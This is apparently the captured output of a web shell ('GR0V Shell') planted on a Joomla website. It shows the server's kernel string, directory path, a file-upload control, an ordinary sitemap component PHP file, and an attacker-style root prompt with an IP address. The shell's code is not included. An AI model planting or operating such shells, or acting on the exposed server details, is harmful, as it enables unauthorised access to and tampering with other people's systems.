? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_sitemap/views/sitemap/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_sitemap/views/sitemap/view.html.php

<?php

/**
* Qlue Sitemap
*
* @author Jon Boutell
* @package QMap
* @license GNU/GPL
* @version 1.0
*
* This component gathers information from various Joomla Components and 
* compiles them into a sitemap, supporting both an HTML view and an XML 
* format for search engines.
*
*/

defined('_JEXEC') or die('Restricted Access');

class SitemapViewSitemap extends JViewLegacy {
	protected $item 		= null;
	protected $pagination 	= null;
	protected $state 		= null;

	public function display($tpl = null) {
		$this->item = $this->get('Item');
		$this->form = $this->get('Form');
		$this->state = $this->get('State');

		$dispatcher = JDispatcher::getInstance();

		$this->user = JFactory::getUser();

		if (count($errors = $this->get('Errors'))) {
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		JPluginHelper::importPlugin('qmap');
		$results = $dispatcher->trigger('onNewSitemap', array('com_sitemap.sitemap'));
		$this->item->event = new stdClass;
		$this->item->event->onNewSitemap = $results;

		

		$this->addToolbar();

		parent::display($tpl);

	}

	public function addToolbar() {

		JToolBarHelper::title(JText::_(COM_SITEMAP_EDIT_PAGE), 'article-add.png');

		JToolBarHelper::apply('sitemap.apply');
		JToolBarHelper::save('sitemap.save');
		JToolBarHelper::divider();
		JToolBarHelper::cancel('sitemap.cancel');

	}
}

?>

T1KUS90T
  root-grov@210.1.60.28:~$